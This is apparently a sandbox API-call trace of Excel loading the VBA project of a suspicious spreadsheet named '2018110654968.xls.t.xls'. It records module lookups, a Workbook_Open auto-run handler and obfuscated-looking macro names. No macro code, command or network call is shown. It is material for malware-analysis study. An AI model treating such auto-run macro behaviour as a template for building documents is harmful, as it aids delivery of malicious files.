	[0053.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2018110654968.xls.t.xls", cchWideChar=-1, lpMultiByteStr=0x5348ad0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 24
	[0053.554] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0053.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb87cfc8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0053.555] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0053.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb87cfc8, cbMultiByte=11, lpWideCharStr=0xb78f068, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0053.555] lstrlenA (lpString="VBAProject") returned 10
	[0053.555] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject ("
	[0053.555] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="2018110654968.xls.t.xls", _MaxCount=0x28 | out: _Destination="VBAProject (2018110654968.xls.t.xls") returned 0x0
	[0053.555] lstrcatA (in: lpString1="VBAProject (2018110654968.xls.t.xls", lpString2=")" | out: lpString1="VBAProject (2018110654968.xls.t.xls)") returned="VBAProject (2018110654968.xls.t.xls)"
	[0053.555] _wfullpath (in: _Buffer=0x273e10, _Path="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls"
	[0053.555] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", lpString2="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0053.556] lstrcmpiW (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0
	[0053.556] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0xb815c20
	[0053.556] IMalloc:Alloc (This=0x7feffc15380, cb=0x7f40) returned 0xc10bbc0
	[0053.556] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xbd261c0
	[0053.572] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1
	[0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0xa8) returned 0xb816bf0
	[0053.573] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xbd27f80
	[0053.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x273f70, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0053.575] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0053.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x273f60, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0053.575] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0053.575] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f03b0
	[0053.575] qsort (in: _Base=0xc0f03b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c | out: _Base=0xc0f03b0) 
	[0053.575] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1
	[0053.575] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Module1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1
	[0053.575] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 3
	[0053.575] bsearch (_Key=0x272e98, _Base=0xc0f03b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0f03c0
	[0053.575] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0053.575] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2
	[0053.575] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xc0f01f0
	[0053.575] CLSIDFromString (in: lpsz="{00020819-0000-0000-C000-000000000046}", pclsid=0xc0f01f0 | out: pclsid=0xc0f01f0*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0053.576] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0c6380
	[0053.577] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0bbc40
	[0053.577] IMalloc:Free (This=0x7feffc15380, pv=0xc0f01f0) 
	[0053.577] IMalloc:Free (This=0x7feffc15380, pv=0xc0c6380) 
	[0053.577] IMalloc:Free (This=0x7feffc15380, pv=0xc0bbc40) 
	[0053.578] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0bbc40
	[0053.578] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0c6380
	[0053.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x273f70, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7
	[0053.579] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0053.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x273f60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7
	[0053.579] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Sheet1") returned 0x101ae8
	[0053.579] bsearch (_Key=0x272e98, _Base=0xc0f03b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0f03b8
	[0053.579] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 2
	[0053.579] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0xbf0f360
	[0053.579] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xc0f01f0
	[0053.580] CLSIDFromString (in: lpsz="{00020820-0000-0000-C000-000000000046}", pclsid=0xc0f01f0 | out: pclsid=0xc0f01f0*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0053.580] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0c6410
	[0053.580] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0c6650
	[0053.581] IMalloc:Free (This=0x7feffc15380, pv=0xc0f01f0) 
	[0053.581] IMalloc:Free (This=0x7feffc15380, pv=0xc0c6410) 
	[0053.581] IMalloc:Free (This=0x7feffc15380, pv=0xc0c6650) 
	[0053.581] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0c6650
	[0053.581] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xc0c6410
	[0053.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2018.11", cchWideChar=-1, lpMultiByteStr=0x53491f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2018.11", lpUsedDefaultChar=0x0) returned 8
	[0053.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Module1", cchWideChar=8, lpMultiByteStr=0x273eb0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module1", lpUsedDefaultChar=0x0) returned 8
	[0053.586] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0053.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Module1", cchWideChar=8, lpMultiByteStr=0x273ea0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module1", lpUsedDefaultChar=0x0) returned 8
	[0053.586] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Module1") returned 0x101162
	[0053.586] bsearch (_Key=0x272dd8, _Base=0xc0f03b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0xc0f03b0
	[0053.586] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Module1", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1
	[0053.586] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Module1", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 2
	[0053.689] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbfa4990
	[0053.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e530, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9
	[0053.689] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e530, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9
	[0053.699] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.700] IMalloc:Realloc (This=0x7feffc15380, pv=0xbfa4990, cb=0x62) returned 0x71d6f70
	[0053.700] _mbscpy_s (in: _Dst=0x27e850, _DstSizeInBytes=0xe, _Src=0x68503be | out: _Dst=0x27e850) returned 0x0
	[0053.700] _mbscpy_s (in: _Dst=0x27e859, _DstSizeInBytes=0x5, _Src=0x27ea00 | out: _Dst=0x27e859) returned 0x0
	[0053.700] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b
	[0053.703] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0053.703] IUnknown:QueryInterface (in: This=0xb9fd070, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27edd8 | out: ppvObject=0x27edd8*=0x0) returned 0x80004002
	[0053.703] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27edc8, pDummy=0x10 | out: ppTLibAttr=0x27edc8, pDummy=0x10) returned 0x0
	[0053.703] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0053.703] IUnknown:Release (This=0xb9fd070) returned 0x2
	[0053.703] IUnknown:AddRef (This=0xb9fc260) returned 0xb
	[0053.703] ITypeLib:RemoteGetLibAttr (in: This=0xb9fc260, ppTLibAttr=0x27ed38, pDummy=0xbb1f7f0 | out: ppTLibAttr=0x27ed38, pDummy=0xbb1f7f0*=0xe60f7268) returned 0x0
	[0053.703] StringFromCLSID (in: rclsid=0xb87cfc0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x27ed18 | out: lplpsz=0x27ed18*="{00020813-0000-0000-C000-000000000046}") returned 0x0
	[0053.703] CoTaskMemFree (pv=0x72fa8b0) 
	[0053.703] ITypeLib:LocalReleaseTLibAttr (This=0xb9fc260) returned 0x0
	[0053.703] IUnknown:QueryInterface (in: This=0xb9fc260, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27edd8 | out: ppvObject=0x27edd8*=0x0) returned 0x80004002
	[0053.703] ITypeLib:RemoteGetLibAttr (in: This=0xb9fc260, ppTLibAttr=0x27edc8, pDummy=0x10 | out: ppTLibAttr=0x27edc8, pDummy=0x10) returned 0x0
	[0053.703] ITypeLib:LocalReleaseTLibAttr (This=0xb9fc260) returned 0x0
	[0053.703] IUnknown:Release (This=0xb9fc260) returned 0xa
	[0053.703] IUnknown:AddRef (This=0xb9fd610) returned 0x4
	[0053.703] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd610, ppTLibAttr=0x27ed38, pDummy=0xbb1f7f0 | out: ppTLibAttr=0x27ed38, pDummy=0xbb1f7f0*=0xe60f7268) returned 0x0
	[0053.704] StringFromCLSID (in: rclsid=0xb87cfc0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lplpsz=0x27ed18 | out: lplpsz=0x27ed18*="{00020430-0000-0000-C000-000000000046}") returned 0x0
	[0053.704] CoTaskMemFree (pv=0x72fa8b0) 
	[0053.704] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd610) returned 0x0
	[0053.704] IUnknown:QueryInterface (in: This=0xb9fd610, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27edd8 | out: ppvObject=0x27edd8*=0x0) returned 0x80004002
	[0053.704] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd610, ppTLibAttr=0x27edc8, pDummy=0x10 | out: ppTLibAttr=0x27edc8, pDummy=0x10) returned 0x0
	[0053.704] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd610) returned 0x0
	[0053.704] IUnknown:Release (This=0xb9fd610) returned 0x3
	[0053.704] IUnknown:AddRef (This=0xb9fdbb0) returned 0x2
	[0053.704] ITypeLib:RemoteGetLibAttr (in: This=0xb9fdbb0, ppTLibAttr=0x27ed38, pDummy=0xbb1f7f0 | out: ppTLibAttr=0x27ed38, pDummy=0xbb1f7f0*=0xe60f7268) returned 0x0
	[0053.704] StringFromCLSID (in: rclsid=0xb87cfc0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lplpsz=0x27ed18 | out: lplpsz=0x27ed18*="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0
	[0053.704] CoTaskMemFree (pv=0x72fa8b0) 
	[0053.704] ITypeLib:LocalReleaseTLibAttr (This=0xb9fdbb0) returned 0x0
	[0053.704] IUnknown:QueryInterface (in: This=0xb9fdbb0, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27edd8 | out: ppvObject=0x27edd8*=0x0) returned 0x80004002
	[0053.704] ITypeLib:RemoteGetLibAttr (in: This=0xb9fdbb0, ppTLibAttr=0x27edc8, pDummy=0x10 | out: ppTLibAttr=0x27edc8, pDummy=0x10) returned 0x0
	[0053.704] ITypeLib:LocalReleaseTLibAttr (This=0xb9fdbb0) returned 0x0
	[0053.704] IUnknown:Release (This=0xb9fdbb0) returned 0x1
	[0053.704] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0ec0f0
	[0053.704] IMalloc:Free (This=0x7feffc15380, pv=0xc0ec0f0) 
	[0053.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e650, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9
	[0053.705] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e650, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9
	[0053.714] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.759] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0x8, _Src=0x57b2cd2 | out: _Dst=0x27e390) returned 0x0
	[0053.760] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0xc, _Src=0x57b2cfa | out: _Dst=0x27e390) returned 0x0
	[0053.760] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0xa, _Src=0x57b2d26 | out: _Dst=0x27e390) returned 0x0
	[0053.760] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0xb, _Src=0x57b2d52 | out: _Dst=0x27e390) returned 0x0
	[0053.760] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0x7, _Src=0x57b2d7e | out: _Dst=0x27e390) returned 0x0
	[0053.760] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0x6, _Src=0x57b2da6 | out: _Dst=0x27e390) returned 0x0
	[0053.760] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0x8, _Src=0x57b2c36 | out: _Dst=0x27e390) returned 0x0
	[0053.760] _mbscpy_s (in: _Dst=0x27e390, _DstSizeInBytes=0x7, _Src=0x57b2bde | out: _Dst=0x27e390) returned 0x0
	[0053.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015dbe8945", cchWideChar=11, lpMultiByteStr=0x27e960, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015dbe8945", lpUsedDefaultChar=0x0) returned 11
	[0053.760] GetLocalTime (in: lpSystemTime=0x27ea48 | out: lpSystemTime=0x27ea48*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0x8, wMinute=0x1, wSecond=0xc, wMilliseconds=0x374)) 
	[0053.760] _ultow_s (in: _Value=0x5dbe8948, _Buffer=0xbc58b1c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbe8948") returned 0x0
	[0053.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="045dbe8948", cchWideChar=11, lpMultiByteStr=0x27e9a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="045dbe8948", lpUsedDefaultChar=0x0) returned 11
	[0053.760] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xbe168c0
	[0053.760] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x764c960
	[0053.761] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x764cba0
	[0053.761] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x4d22870
	[0053.761] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb8217e0
	[0053.761] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.762] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.762] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.762] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.762] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.762] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.762] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.762] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.762] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.763] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.763] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.763] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbd1fd30
	[0053.763] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fd30) 
	[0053.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x27e7e0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0053.763] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0053.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e400, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9
	[0053.764] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x27e400, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9
	[0053.772] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.773] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x8, _Src=0x57b2b16 | out: _Dst=0x27e7c0) returned 0x0
	[0053.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c06, cbMultiByte=14, lpWideCharStr=0x27e780, cchWideChar=28 | out: lpWideCharStr="Workbook_Open") returned 14
	[0053.773] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0xe, _Src=0x57b2c06 | out: _Dst=0x27e7c0) returned 0x0
	[0053.773] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b
	[0053.773] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767
	[0053.773] ITypeLib:GetTypeComp (in: This=0xb9fd070, ppTComp=0x27e638 | out: ppTComp=0x27e638*=0xb9fd080) returned 0x0
	[0053.773] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xbd2ff40
	[0053.773] IUnknown:AddRef (This=0xb9fd080) returned 0x5
	[0053.773] IUnknown:Release (This=0xb9fd080) returned 0x4
	[0053.774] IUnknown:Release (This=0xb9fd070) returned 0x3
	[0053.774] IUnknown:AddRef (This=0xb9fc260) returned 0xc
	[0053.774] IUnknown:QueryInterface (in: This=0xb9fc260, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27e640 | out: ppvObject=0x27e640*=0x0) returned 0x80004002
	[0053.774] ITypeLib:GetTypeComp (in: This=0xb9fc260, ppTComp=0x27e638 | out: ppTComp=0x27e638*=0xb9fc270) returned 0x0
	[0053.774] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xbd2fe00
	[0053.774] IUnknown:AddRef (This=0xb9fc270) returned 0xe
	[0053.774] IUnknown:Release (This=0xb9fc270) returned 0xd
	[0053.774] IUnknown:Release (This=0xb9fc260) returned 0xc
	[0053.774] IUnknown:AddRef (This=0xb9fd610) returned 0x4
	[0053.774] IUnknown:QueryInterface (in: This=0xb9fd610, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27e640 | out: ppvObject=0x27e640*=0x0) returned 0x80004002
	[0053.774] ITypeLib:GetTypeComp (in: This=0xb9fd610, ppTComp=0x27e638 | out: ppTComp=0x27e638*=0xb9fd620) returned 0x0
	[0053.774] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xbd2bc40
	[0053.774] IUnknown:AddRef (This=0xb9fd620) returned 0x6
	[0053.774] IUnknown:Release (This=0xb9fd620) returned 0x5
	[0053.774] IUnknown:Release (This=0xb9fd610) returned 0x4
	[0053.774] IUnknown:AddRef (This=0xb9fdbb0) returned 0x2
	[0053.774] IUnknown:QueryInterface (in: This=0xb9fdbb0, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27e640 | out: ppvObject=0x27e640*=0x0) returned 0x80004002
	[0053.774] ITypeLib:GetTypeComp (in: This=0xb9fdbb0, ppTComp=0x27e638 | out: ppTComp=0x27e638*=0xb9fdbc0) returned 0x0
	[0053.774] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xbd30880
	[0053.774] IUnknown:AddRef (This=0xb9fdbc0) returned 0x4
	[0053.774] IUnknown:Release (This=0xb9fdbc0) returned 0x3
	[0053.774] IUnknown:Release (This=0xb9fdbb0) returned 0x2
	[0053.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xbd30500
	[0053.776] IMalloc:Realloc (This=0x7feffc15380, pv=0xbfc9f70, cb=0x80) returned 0xbe18de0
	[0053.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b1556, cbMultiByte=5, lpWideCharStr=0x27e4d0, cchWideChar=6 | out: lpWideCharStr="Open") returned 5
	[0053.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0xb8d9af0
	[0053.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb7508d0
	[0053.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbfa48f0
	[0053.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbfa4970
	[0053.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb7504b0
	[0053.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xbe1a190
	[0053.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b62, cbMultiByte=9, lpWideCharStr=0x27e780, cchWideChar=18 | out: lpWideCharStr="marrsell") returned 9
	[0053.777] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x9, _Src=0x57b2b62 | out: _Dst=0x27e7c0) returned 0x0
	[0053.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2c5e, cbMultiByte=4, lpWideCharStr=0x27e780, cchWideChar=8 | out: lpWideCharStr="njk") returned 4
	[0053.777] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x4, _Src=0x57b2c5e | out: _Dst=0x27e7c0) returned 0x0
	[0053.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2cd2, cbMultiByte=8, lpWideCharStr=0x27e780, cchWideChar=16 | out: lpWideCharStr="settler") returned 8
	[0053.777] _mbscpy_s (in: _Dst=0x27e7c0, _DstSizeInBytes=0x8, _Src=0x57b2cd2 | out: _Dst=0x27e7c0) returned 0x0
